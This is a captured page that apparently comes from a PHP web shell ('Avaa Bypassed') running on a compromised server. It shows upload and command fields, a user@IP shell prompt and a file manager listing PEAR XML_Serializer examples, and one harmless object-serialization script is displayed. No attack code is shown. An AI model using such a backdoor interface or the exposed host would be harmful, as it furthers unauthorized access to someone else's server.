[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@18.117.145.67: ~ $
<?PHP
/**
 * This is just a basic example that shows
 * how objects can be serialized so they can
 * be fully restored later.
 *
 * @author Stephan Schmidt <schst@php.net>
 */
error_reporting(E_ALL);

require_once 'XML/Serializer.php';

$options = array(
                    XML_SERIALIZER_OPTION_INDENT      => '    ',
                    XML_SERIALIZER_OPTION_LINEBREAKS  => "\n",
                    XML_SERIALIZER_OPTION_COMMENT_KEY => 'comment'
                );

$foo = new stdClass;
$foo->comment = 'This is a comment';
$foo->value   = 'My value';

$foo->bar     = new stdClass();
$foo->bar->value   = 'Another value';
$foo->bar->comment = 'Another comment';

$foo->tomato          = new stdClass();
$foo->tomato->comment = 'And a last comment';

$serializer = &new XML_Serializer($options);

$result = $serializer->serialize($foo);

if ($result === true) {
    $xml = $serializer->getSerializedData();
}

echo '<pre>';
echo htmlspecialchars($xml);
echo '</pre>';
?>

Filemanager

Name Type Size Permission Actions
Serializer_Bug7112.php File 724 B 0644
example.xml File 82 B 0644
serializeAndEncode.php File 1.42 KB 0644
serializeAndReturn.php File 609 B 0644
serializeCData.php File 838 B 0644
serializeIndexedArray.php File 2.49 KB 0644
serializeIndexedArrayWithContext.php File 1.01 KB 0644
serializeNullProperties.php File 1.34 KB 0644
serializeObject.php File 1.29 KB 0644
serializeRDF.php File 3.02 KB 0644
serializeSelectiveAttributes.php File 1.6 KB 0644
serializeWithAttributes.php File 1.16 KB 0644
serializeWithAttributes2.php File 1.33 KB 0644
serializeWithComment.php File 974 B 0644
serializeWithDtd.php File 925 B 0644
serializeWithIndentedAttributes.php File 1.43 KB 0644
serializeWithNamespace.php File 1.05 KB 0644
serializeWithTagMap.php File 2.7 KB 0644
unserializeAnyXML.php File 2.55 KB 0644
unserializeClassNames.php File 1.19 KB 0644
unserializeEncoded.php File 949 B 0644
unserializeEnum.php File 1.16 KB 0644
unserializeObject.php File 1.44 KB 0644
unserializeRDF.php File 2.08 KB 0644
unserializeWhitespace.php File 1.09 KB 0644
unserializeWithAttributes.php File 796 B 0644
unserializeWithTagMap.php File 1.62 KB 0644
unserializeWithTypeGuessing.php File 950 B 0644